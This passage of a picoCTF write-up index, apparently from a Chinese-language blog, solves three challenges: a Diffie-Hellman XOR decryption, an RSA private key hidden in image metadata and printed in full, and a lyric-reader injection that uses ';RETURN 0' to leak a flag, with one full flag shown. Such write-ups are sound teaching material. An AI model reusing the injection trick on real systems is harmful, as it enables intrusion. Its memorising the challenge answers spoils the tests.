style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1653798930689987750372209240014380521131540183716217687164747711336243702962818359267822691525697642105558753651223568056089606926425342081267821725904109431430327153613733358950243154522848602494020618427146508586350079988809469424456886589329449769221123659126892760967096413248127035734431548987006011015808526671\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eA \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e771122236020803078829911570090382183223626843114693013412703353349864301811612864849857638111588507084769437566078749825291937213523446695097948166153379036322108656350710200734137906115055446496743841090323252143278700024424965369059879247648625799137192258413471893876530475007392243768366999108564494255853654467\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eb \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e502087552249276796768894199149546386713173741864561762918671131549146319658647813949433247424965048798816294966029262647803764533595143429273283374211302160540685383641060542870573303301014875733971557824236009184578986290165659257363419797500816452080900496604781986251988455903195756181696996025184087945715324970\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eenc_hex \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;cfd6dcd0fcebf9c4dbd7e0cc8cdccd8ccbe0dddb8c87d98c8889c2\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 1. 計算共享密鑰 (Shared secret)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eshared \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e pow(A, b, p)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 2. 取得 XOR 的金鑰\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ekey \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e shared \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e256\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 3. 將 hex 轉回 bytes 並進行解密\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eenc_bytes \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e bytes\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003efromhex(enc_hex)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eflag \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e bytes([x \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e key \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e x \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e enc_bytes])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint(key)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint(flag\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edecode())\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\n不過這題的 key 很小，只有 256，所以直接暴力測試所有可能也可以。\u003c/p\u003e","title":"Shared Secrets"},{"content":"題目連結 https://learn.cylabacademy.org/library/719\n題目解法 下載後得到兩個檔案，image.jpg 和 flag.enc 兩個檔案，其中 flag.enc 是加密後的結果，將其解密即可得到 flag。\n根據提示知道私鑰藏在 image.jpg 的 metadata 中，使用 exiftool 查看發現 Comment 是一段使用 hex 編碼的內容，解碼後得到完整私鑰。\n2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945765149424144414e42676b71686b6947397730424151454641415343424b63776767536a41674541416f4942415143783072583072754c34674f36620a753372315a6a33376e5971456672665a334e704e4f767a786d554e477a6f4b64452f664d6c75423749507944533241662f4238784e62696d76616a6d5a4447750a5562443656716a584f785930615570514f3672585068516568352b5a4b624f52516f3833722b57647a57566e473339794c723054674861592b755355424f35780a3473675250704262733675324848456a746b32522b2f566a6f5a45345567645a753663316a36774150464334336c7a4d5462744a2b4d53694d38536148494a410a33746f58506b6a33743048474f5675334b57444b5639566b34712f6965756b4d2f6631636c737335424256377147346d375775766d316172623970416865437a0a4a716b466b6968576b44665a79494a6b7a664f4d79332b38327a48414f663669507372734d6f347544664d70316e364c354532686c596a704b486c4b57664d4e0a446e596a4753723941674d424141454367674541444b316c502f6d303444734f353862637241436252435131347837476e4339593139387639386878716174670a312f4a37764e66337a6f64715154442f5043434646385449386f6738635a7073695530314a512f48447a7363364f556c775755546c36394c4432636a57322f440a35385037516d445671614f69536c4446532f356c682b326c5a7541694b69525533495571747349445743704e77466930507a504977584c5a536e3554424655450a525963713259582b49626d6138764b644f2b5749712b626f4973575733667333704a79692b2f4b3255635a2b5132435855596e323447353364545a727a4b78470a3730466d525042354832787541344b777771766246344c483345372b38416b47476b37382f463738416868656f6d6753715541743779397a5232766d532f2b2f0a323144732f74526e7432576b747370577074693375594e57586a377465734b46535a6d6f784b504d59514b426751446c4f51386557695a354b3643627333646b0a776c775a4d6c555a744652434e564f6e7763354b6f315a762b3637433070587139534b59724d3262504132494f505561534b4a6d596a61326b42797a66644f610a3441343238686232625739354a78644543754a62424168485147665a436b683267715247573039457a4c57664e4832714f7748414b595052492f4a2b44796e660a6b6262685967486d783757776c44457146444e38532f326933514b42675144476d4969754964347269345258754d6c53302f496659486439616a7a57316c7a6f0a51695946433268484d73374231506f5270584e736f6748583459637345566b366c4e584e454f2b6f6e6335414a6256634c6d4d72764144736e51535a4e4567310a6a48674443417632436a76494355374239793868775a44716631497a7359615052664e6d465954716a674d5273454368524c4e2b64444e62654f7575326e56760a6c6a4539497158576f514b426746414765364339474846314b62307943707a437669534e7a65674c624e3877667551795a544c706b325046476c3470357530410a5a2f4f6c594b4b786449663657706579672f2f3669643979734a4a3565306132736a2b38685166446251642b2f6b426a44474e364a4f6d374d6f597a634e6a760a4179734d39622b764f446b3875694b554e79672f5669584e787672376b454c645046757a4f376132516c68445a4761735a7330654f6f3642416f4742414964450a324477375a31656a70525958454648786555617a37302b6d6343417054496b4b6e566a7352792f50784a4b3048557974744376335157676f2f6d6765765063770a3731764a5147524b634853792b6f2f364c4b52615877724c664a6c5a7969466e4e307468544c786568672b66663179516f444c4f3549564643646d5a2f7278520a2b684b37623568502b486b77347953315a636b7048743463512f514b61746b4270544975436d5668416f474150756c6f58447469766569726b576f47715079530a544a576e354a656645776878445a37546139716d786a6f6f783053414f6343554b4e495a454359346c3968557444697749416358754a54696254494c77486c520a764938594b2b557355784368464a71446178664362595571742b797657684f597934694f386e39724470612f444e50392f6d2b6a304b6f436c4a5977566b4d310a6b35497937625a57464f74765257395a7772787847684d3d0a2d2d2d2d2d454e442050524956415445204b45592d2d2d2d2d0a -----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCx0rX0ruL4gO6b u3r1Zj37nYqEfrfZ3NpNOvzxmUNGzoKdE/fMluB7IPyDS2Af/B8xNbimvajmZDGu UbD6VqjXOxY0aUpQO6rXPhQeh5+ZKbORQo83r+WdzWVnG39yLr0TgHaY+uSUBO5x 4sgRPpBbs6u2HHEjtk2R+/VjoZE4UgdZu6c1j6wAPFC43lzMTbtJ+MSiM8SaHIJA 3toXPkj3t0HGOVu3KWDKV9Vk4q/ieukM/f1clss5BBV7qG4m7Wuvm1arb9pAheCz JqkFkihWkDfZyIJkzfOMy3+82zHAOf6iPsrsMo4uDfMp1n6L5E2hlYjpKHlKWfMN DnYjGSr9AgMBAAECggEADK1lP/m04DsO58bcrACbRCQ14x7GnC9Y198v98hxqatg 1/J7vNf3zodqQTD/PCCFF8TI8og8cZpsiU01JQ/HDzsc6OUlwWUTl69LD2cjW2/D 58P7QmDVqaOiSlDFS/5lh+2lZuAiKiRU3IUqtsIDWCpNwFi0PzPIwXLZSn5TBFUE RYcq2YX+Ibma8vKdO+WIq+boIsWW3fs3pJyi+/K2UcZ+Q2CXUYn24G53dTZrzKxG 70FmRPB5H2xuA4KwwqvbF4LH3E7+8AkGGk78/F78AhheomgSqUAt7y9zR2vmS/+/ 21Ds/tRnt2WktspWpti3uYNWXj7tesKFSZmoxKPMYQKBgQDlOQ8eWiZ5K6Cbs3dk wlwZMlUZtFRCNVOnwc5Ko1Zv+67C0pXq9SKYrM2bPA2IOPUaSKJmYja2kByzfdOa 4A428hb2bW95JxdECuJbBAhHQGfZCkh2gqRGW09EzLWfNH2qOwHAKYPRI/J+Dynf kbbhYgHmx7WwlDEqFDN8S/2i3QKBgQDGmIiuId4ri4RXuMlS0/IfYHd9ajzW1lzo QiYFC2hHMs7B1PoRpXNsogHX4YcsEVk6lNXNEO+onc5AJbVcLmMrvADsnQSZNEg1 jHgDCAv2CjvICU7B9y8hwZDqf1IzsYaPRfNmFYTqjgMRsEChRLN+dDNbeOuu2nVv ljE9IqXWoQKBgFAGe6C9GHF1Kb0yCpzCviSNzegLbN8wfuQyZTLpk2PFGl4p5u0A Z/OlYKKxdIf6Wpeyg//6id9ysJJ5e0a2sj+8hQfDbQd+/kBjDGN6JOm7MoYzcNjv AysM9b+vODk8uiKUNyg/ViXNxvr7kELdPFuzO7a2QlhDZGasZs0eOo6BAoGBAIdE 2Dw7Z1ejpRYXEFHxeUaz70+mcCApTIkKnVjsRy/PxJK0HUyttCv3QWgo/mgevPcw 71vJQGRKcHSy+o/6LKRaXwrLfJlZyiFnN0thTLxehg+ff1yQoDLO5IVFCdmZ/rxR +hK7b5hP+Hkw4yS1ZckpHt4cQ/QKatkBpTIuCmVhAoGAPuloXDtiveirkWoGqPyS TJWn5JefEwhxDZ7Ta9qmxjoox0SAOcCUKNIZECY4l9hUtDiwIAcXuJTibTILwHlR vI8YK+UsUxChFJqDaxfCbYUqt+yvWhOYy4iO8n9rDpa/DNP9/m+j0KoClJYwVkM1 k5Iy7bZWFOtvRW9ZwrxxGhM= -----END PRIVATE KEY----- 首先先將私鑰存到 private.pem（檔名隨意），使用 nano 或習慣的文字編輯器。\nnano private.pem 這個私鑰屬於 PEM 格式的私鑰，可以使用 openssl 指令來進行解密。\nopenssl pkeyutl -decrypt -inkey private.pem -in flag.enc -out flag.txt 指令詳細內容：\nopenssl: 呼叫 OpenSSL 核心工具。 pkeyutl: 全名是 Public Key Utility。它是 OpenSSL 較新的工具，專門用來處理公鑰與私鑰的各種演算法運算（包括 - RSA、ECDSA 等），支援加密、解密、簽名與驗證。 -decrypt: 指定操作模式為「解密」。這告訴程式我們要用私鑰來還原被加密的資料。 -inkey private.pem: 指定輸入的密鑰檔案（Input Key）。因為我們要解密，所以這裡必須提供私鑰。 -in flag.enc: 指定要處理的原始資料檔案（Input File），也就是題目給你的加密檔。 -out flag.txt: 指定輸出檔案名稱（Output File），解密後的明文會儲存在這裡。 讀取 flag.txt 即可得到 flag。\npicoCTF{rs4-----------------454} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/cryptography/stegorsa/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/719\"\u003ehttps://learn.cylabacademy.org/library/719\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下載後得到兩個檔案，\u003ccode\u003eimage.jpg\u003c/code\u003e 和 \u003ccode\u003eflag.enc\u003c/code\u003e 兩個檔案，其中 \u003ccode\u003eflag.enc\u003c/code\u003e 是加密後的結果，將其解密即可得到 flag。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e根據提示知道私鑰藏在 \u003ccode\u003eimage.jpg\u003c/code\u003e 的 metadata 中，使用 \u003ccode\u003eexiftool\u003c/code\u003e 查看發現 \u003ccode\u003eComment\u003c/code\u003e 是一段使用 hex 編碼的內容，解碼後得到完整私鑰。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945765149424144414e42676b71686b6947397730424151454641415343424b63776767536a41674541416f4942415143783072583072754c34674f36620a753372315a6a33376e5971456672665a334e704e4f767a786d554e477a6f4b64452f664d6c75423749507944533241662f4238784e62696d76616a6d5a4447750a5562443656716a584f785930615570514f3672585068516568352b5a4b624f52516f3833722b57647a57566e473339794c723054674861592b755355424f35780a3473675250704262733675324848456a746b32522b2f566a6f5a45345567645a753663316a36774150464334336c7a4d5462744a2b4d53694d38536148494a410a33746f58506b6a33743048474f5675334b57444b5639566b34712f6965756b4d2f6631636c737335424256377147346d375775766d316172623970416865437a0a4a716b466b6968576b44665a79494a6b7a664f4d79332b38327a48414f663669507372734d6f347544664d70316e364c354532686c596a704b486c4b57664d4e0a446e596a4753723941674d424141454367674541444b316c502f6d303444734f353862637241436252435131347837476e4339593139387639386878716174670a312f4a37764e66337a6f64715154442f5043434646385449386f6738635a7073695530314a512f48447a7363364f556c775755546c36394c4432636a57322f440a35385037516d445671614f69536c4446532f356c682b326c5a7541694b69525533495571747349445743704e77466930507a504977584c5a536e3554424655450a525963713259582b49626d6138764b644f2b5749712b626f4973575733667333704a79692b2f4b3255635a2b5132435855596e323447353364545a727a4b78470a3730466d525042354832787541344b777771766246344c483345372b38416b47476b37382f463738416868656f6d6753715541743779397a5232766d532f2b2f0a323144732f74526e7432576b747370577074693375594e57586a377465734b46535a6d6f784b504d59514b426751446c4f51386557695a354b3643627333646b0a776c775a4d6c555a744652434e564f6e7763354b6f315a762b3637433070587139534b59724d3262504132494f505561534b4a6d596a61326b42797a66644f610a3441343238686232625739354a78644543754a62424168485147665a436b683267715247573039457a4c57664e4832714f7748414b595052492f4a2b44796e660a6b6262685967486d783757776c44457146444e38532f326933514b42675144476d4969754964347269345258754d6c53302f496659486439616a7a57316c7a6f0a51695946433268484d73374231506f5270584e736f6748583459637345566b366c4e584e454f2b6f6e6335414a6256634c6d4d72764144736e51535a4e4567310a6a48674443417632436a76494355374239793868775a44716631497a7359615052664e6d465954716a674d5273454368524c4e2b64444e62654f7575326e56760a6c6a4539497158576f514b426746414765364339474846314b62307943707a437669534e7a65674c624e3877667551795a544c706b325046476c3470357530410a5a2f4f6c594b4b786449663657706579672f2f3669643979734a4a3565306132736a2b38685166446251642b2f6b426a44474e364a4f6d374d6f597a634e6a760a4179734d39622b764f446b3875694b554e79672f5669584e787672376b454c645046757a4f376132516c68445a4761735a7330654f6f3642416f4742414964450a324477375a31656a70525958454648786555617a37302b6d6343417054496b4b6e566a7352792f50784a4b3048557974744376335157676f2f6d6765765063770a3731764a5147524b634853792b6f2f364c4b52615877724c664a6c5a7969466e4e307468544c786568672b66663179516f444c4f3549564643646d5a2f7278520a2b684b37623568502b486b77347953315a636b7048743463512f514b61746b4270544975436d5668416f474150756c6f58447469766569726b576f47715079530a544a576e354a656645776878445a37546139716d786a6f6f783053414f6343554b4e495a454359346c3968557444697749416358754a54696254494c77486c520a764938594b2b557355784368464a71446178664362595571742b797657684f597934694f386e39724470612f444e50392f6d2b6a304b6f436c4a5977566b4d310a6b35497937625a57464f74765257395a7772787847684d3d0a2d2d2d2d2d454e442050524956415445204b45592d2d2d2d2d0a\n\u003c/code\u003e\u003c/pre\u003e\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCx0rX0ruL4gO6b\nu3r1Zj37nYqEfrfZ3NpNOvzxmUNGzoKdE/fMluB7IPyDS2Af/B8xNbimvajmZDGu\nUbD6VqjXOxY0aUpQO6rXPhQeh5+ZKbORQo83r+WdzWVnG39yLr0TgHaY+uSUBO5x\n4sgRPpBbs6u2HHEjtk2R+/VjoZE4UgdZu6c1j6wAPFC43lzMTbtJ+MSiM8SaHIJA\n3toXPkj3t0HGOVu3KWDKV9Vk4q/ieukM/f1clss5BBV7qG4m7Wuvm1arb9pAheCz\nJqkFkihWkDfZyIJkzfOMy3+82zHAOf6iPsrsMo4uDfMp1n6L5E2hlYjpKHlKWfMN\nDnYjGSr9AgMBAAECggEADK1lP/m04DsO58bcrACbRCQ14x7GnC9Y198v98hxqatg\n1/J7vNf3zodqQTD/PCCFF8TI8og8cZpsiU01JQ/HDzsc6OUlwWUTl69LD2cjW2/D\n58P7QmDVqaOiSlDFS/5lh+2lZuAiKiRU3IUqtsIDWCpNwFi0PzPIwXLZSn5TBFUE\nRYcq2YX+Ibma8vKdO+WIq+boIsWW3fs3pJyi+/K2UcZ+Q2CXUYn24G53dTZrzKxG\n70FmRPB5H2xuA4KwwqvbF4LH3E7+8AkGGk78/F78AhheomgSqUAt7y9zR2vmS/+/\n21Ds/tRnt2WktspWpti3uYNWXj7tesKFSZmoxKPMYQKBgQDlOQ8eWiZ5K6Cbs3dk\nwlwZMlUZtFRCNVOnwc5Ko1Zv+67C0pXq9SKYrM2bPA2IOPUaSKJmYja2kByzfdOa\n4A428hb2bW95JxdECuJbBAhHQGfZCkh2gqRGW09EzLWfNH2qOwHAKYPRI/J+Dynf\nkbbhYgHmx7WwlDEqFDN8S/2i3QKBgQDGmIiuId4ri4RXuMlS0/IfYHd9ajzW1lzo\nQiYFC2hHMs7B1PoRpXNsogHX4YcsEVk6lNXNEO+onc5AJbVcLmMrvADsnQSZNEg1\njHgDCAv2CjvICU7B9y8hwZDqf1IzsYaPRfNmFYTqjgMRsEChRLN+dDNbeOuu2nVv\nljE9IqXWoQKBgFAGe6C9GHF1Kb0yCpzCviSNzegLbN8wfuQyZTLpk2PFGl4p5u0A\nZ/OlYKKxdIf6Wpeyg//6id9ysJJ5e0a2sj+8hQfDbQd+/kBjDGN6JOm7MoYzcNjv\nAysM9b+vODk8uiKUNyg/ViXNxvr7kELdPFuzO7a2QlhDZGasZs0eOo6BAoGBAIdE\n2Dw7Z1ejpRYXEFHxeUaz70+mcCApTIkKnVjsRy/PxJK0HUyttCv3QWgo/mgevPcw\n71vJQGRKcHSy+o/6LKRaXwrLfJlZyiFnN0thTLxehg+ff1yQoDLO5IVFCdmZ/rxR\n+hK7b5hP+Hkw4yS1ZckpHt4cQ/QKatkBpTIuCmVhAoGAPuloXDtiveirkWoGqPyS\nTJWn5JefEwhxDZ7Ta9qmxjoox0SAOcCUKNIZECY4l9hUtDiwIAcXuJTibTILwHlR\nvI8YK+UsUxChFJqDaxfCbYUqt+yvWhOYy4iO8n9rDpa/DNP9/m+j0KoClJYwVkM1\nk5Iy7bZWFOtvRW9ZwrxxGhM=\n-----END PRIVATE KEY-----\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e首先先將私鑰存到 \u003ccode\u003eprivate.pem\u003c/code\u003e（檔名隨意），使用 \u003ccode\u003enano\u003c/code\u003e 或習慣的文字編輯器。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003enano private.pem\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e這個私鑰屬於 \u003cstrong\u003ePEM 格式\u003c/strong\u003e的私鑰，可以使用 \u003ccode\u003eopenssl\u003c/code\u003e 指令來進行解密。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eopenssl pkeyutl -decrypt -inkey private.pem -in flag.enc -out flag.txt\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e指令詳細內容：\u003c/p\u003e","title":"StegoRSA"},{"content":"題目連結 https://learn.cylabacademy.org/library/472\n題目解法 下載題目原始碼後進行分析，發現當程式遇到 CROWD 開頭的行時會將使用者輸入的內容會被寫回 song_lines[lip]。此外程式在處理每一行時，會先用 split(';') 將其分割成多個子指令進行循環。\n因此當我們輸入\n;RETURN 0 程式內部的反應如下：\nsong_lines[lip] 會變成 \u0026lsquo;Crowd: ;RETURN 0\u0026rsquo;。 for line in song_lines[lip].split(\u0026rsquo;;\u0026rsquo;): 會將這一行切成兩部分： 第一部分：\u0026lsquo;Crowd: \u0026rsquo; -\u0026gt; 進入 else 分支，列印內容並將 lip 加 1。 第二部分：\u0026lsquo;RETURN 0\u0026rsquo; -\u0026gt; 進入 elif re.match(r\u0026quot;RETURN [0-9]+\u0026quot;, line): 分支。 此時 lip 會被設為 int(\u0026lsquo;0\u0026rsquo;)，也就是 0。 while 迴圈繼續執行，下一次迭代就會從 song_lines[0] 開始列印，這時隱藏在開頭的 flag 就會被直接輸出到螢幕上。 webshell:~$ nc verbal-sleep.picoctf.net 53947 Command line wizards, we’re starting it right, Spawning shells in the terminal, hacking all night. Scripts and searches, grep through the void, Every keystroke, we\u0026#39;re a cypher\u0026#39;s envoy. Brute force the lock or craft that regex, Flag on the horizon, what challenge is next? We’re flag hunters in the ether, lighting up the grid, No puzzle too dark, no challenge too hid. With every exploit we trigger, every byte we decrypt, We’re chasing that victory, and we’ll never quit. Crowd: ;RETURN 0 Echoes in memory, packets in trace, Digging through the remnants to uncover with haste. Hex and headers, carving out clues, Resurrect the hidden, it\u0026#39;s forensics we choose. Disk dumps and packet dumps, follow the trail, Buried deep in the noise, but we will prevail. We’re flag hunters in the ether, lighting up the grid, No puzzle too dark, no challenge too hid. With every exploit we trigger, every byte we decrypt, We’re chasing that victory, and we’ll never quit. Crowd: Pico warriors rising, puzzles laid bare, Solving each challenge with precision and flair. With unity and skill, flags we deliver, The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_836f0788} [REFRAIN] We’re flag hunters in the ether, lighting up the grid, No puzzle too dark, no challenge too hid. With every exploit we trigger, every byte we decrypt, We’re chasing that victory, and we’ll never quit. Crowd: Pico warriors rising, puzzles laid bare, Solving each challenge with precision and flair. With unity and skill, flags we deliver, The ether’s ours to conquer, picoCTF{706-------------------788} 題目原始碼 lyric-reader.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 import re import time # Read in flag from file flag = open(\u0026#39;flag.txt\u0026#39;, \u0026#39;r\u0026#39;).read() secret_intro = \\ \u0026#39;\u0026#39;\u0026#39;Pico warriors rising, puzzles laid bare, Solving each challenge with precision and flair. With unity and skill, flags we deliver, The ether’s ours to conquer, \u0026#39;\u0026#39;\u0026#39;\\ + flag + \u0026#39;\\n\u0026#39; song_flag_hunters = secret_intro +\\ \u0026#39;\u0026#39;\u0026#39; [REFRAIN] We’re flag hunters in the ether, lighting up the grid, No puzzle too dark, no challenge too hid. With every exploit we trigger, every byte we decrypt, We’re chasing that victory, and we’ll never quit. CROWD (Singalong here!); RETURN [VERSE1] Command line wizards, we’re starting it right, Spawning shells in the terminal, hacking all night. Scripts and searches, grep through the void, Every keystroke, we\u0026#39;re a cypher\u0026#39;s envoy. Brute force the lock or craft that regex, Flag on the horizon, what challenge is next? REFRAIN; Echoes in memory, packets in trace, Digging through the remnants to uncover with haste. Hex and headers, carving out clues, Resurrect the hidden, it\u0026#39;s forensics we choose. Disk dumps and packet dumps, follow the trail, Buried deep in the noise, but we will prevail. REFRAIN; Binary sorcerers, let’s tear it apart, Disassemble the code to reveal the dark heart. From opcode to logic, tracing each line, Emulate and break it, this key will be mine. Debugging the maze, and I see through the deceit, Patch it up right, and watch the lock release. REFRAIN; Ciphertext tumbling, breaking the spin, Feistel or AES, we’re destined to win. Frequency, padding, primes on the run, Vigenère, RSA, cracking them for fun. Shift the letters, matrices fall, Decrypt that flag and hear the ether call. REFRAIN; SQL injection, XSS flow, Map the backend out, let the database show. Inspecting each cookie, fiddler in the fight, Capturing requests, push the payload just right. HTML\u0026#39;s secrets, backdoors unlocked, In the world wide labyrinth, we’re never lost. REFRAIN; Stack\u0026#39;s overflowing, breaking the chain, ROP gadget wizardry, ride it to fame. Heap spray in silence, memory\u0026#39;s plight, Race the condition, crash it just right. Shellcode ready, smashing the frame, Control the instruction, flags call my name. REFRAIN; END; \u0026#39;\u0026#39;\u0026#39; MAX_LINES = 100 def reader(song, startLabel): lip = 0 start = 0 refrain = 0 refrain_return = 0 finished = False # Get list of lyric lines song_lines = song.splitlines() # Find startLabel, refrain and refrain return for i in range(0, len(song_lines)): if song_lines[i] == startLabel: start = i + 1 elif song_lines[i] == \u0026#39;[REFRAIN]\u0026#39;: refrain = i + 1 elif song_lines[i] == \u0026#39;RETURN\u0026#39;: refrain_return = i # Print lyrics line_count = 0 lip = start while not finished and line_count \u0026lt; MAX_LINES: line_count += 1 for line in song_lines[lip].split(\u0026#39;;\u0026#39;): if line == \u0026#39;\u0026#39; and song_lines[lip] != \u0026#39;\u0026#39;: continue if line == \u0026#39;REFRAIN\u0026#39;: song_lines[refrain_return] = \u0026#39;RETURN \u0026#39; + str(lip + 1) lip = refrain elif re.match(r\u0026#34;CROWD.*\u0026#34;, line): crowd = input(\u0026#39;Crowd: \u0026#39;) song_lines[lip] = \u0026#39;Crowd: \u0026#39; + crowd lip += 1 elif re.match(r\u0026#34;RETURN [0-9]+\u0026#34;, line): lip = int(line.split()[1]) elif line == \u0026#39;END\u0026#39;: finished = True else: print(line, flush=True) time.sleep(0.5) lip += 1 reader(song_flag_hunters, \u0026#39;[VERSE1]\u0026#39;) ","permalink":"https://picoctf-writeup.pinjim.dev/posts/reverse-engineering/flag-hunters/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/472\"\u003ehttps://learn.cylabacademy.org/library/472\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e下載題目原始碼後進行分析，發現當程式遇到 \u003ccode\u003eCROWD\u003c/code\u003e 開頭的行時會將使用者輸入的內容會被寫回 \u003ccode\u003esong_lines[lip]\u003c/code\u003e。此外程式在處理每一行時，會先用 \u003ccode\u003esplit(';')\u003c/code\u003e 將其分割成多個子指令進行循環。\u003cbr\u003e\n因此當我們輸入\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e;RETURN 0\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e程式內部的反應如下：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003esong_lines[lip] 會變成 \u0026lsquo;Crowd: ;RETURN 0\u0026rsquo;。\u003c/li\u003e\n\u003cli\u003efor line in song_lines[lip].split(\u0026rsquo;;\u0026rsquo;): 會將這一行切成兩部分：\n\u003cul\u003e\n\u003cli\u003e第一部分：\u0026lsquo;Crowd: \u0026rsquo; -\u0026gt; 進入 else 分支，列印內容並將 lip 加 1。\u003c/li\u003e\n\u003cli\u003e第二部分：\u0026lsquo;RETURN 0\u0026rsquo; -\u0026gt; 進入 elif re.match(r\u0026quot;RETURN [0-9]+\u0026quot;, line): 分支。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e此時 lip 會被設為 int(\u0026lsquo;0\u0026rsquo;)，也就是 0。\u003c/li\u003e\n\u003cli\u003ewhile 迴圈繼續執行，下一次迭代就會從 song_lines[0] 開始列印，這時隱藏在開頭的 flag 就會被直接輸出到螢幕上。\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ nc verbal-sleep.picoctf.net 53947\nCommand line wizards, we’re starting it right,\nSpawning shells in the terminal, hacking all night.\nScripts and searches, grep through the void,\nEvery keystroke, we\u0026#39;re a cypher\u0026#39;s envoy.\nBrute force the lock or craft that regex,\nFlag on the horizon, what challenge is next?\n\nWe’re flag hunters in the ether, lighting up the grid,\nNo puzzle too dark, no challenge too hid.\nWith every exploit we trigger, every byte we decrypt,\nWe’re chasing that victory, and we’ll never quit.\nCrowd: ;RETURN 0\n\nEchoes in memory, packets in trace,\nDigging through the remnants to uncover with haste.\nHex and headers, carving out clues,\nResurrect the hidden, it\u0026#39;s forensics we choose.\nDisk dumps and packet dumps, follow the trail,\nBuried deep in the noise, but we will prevail.\n\nWe’re flag hunters in the ether, lighting up the grid,\nNo puzzle too dark, no challenge too 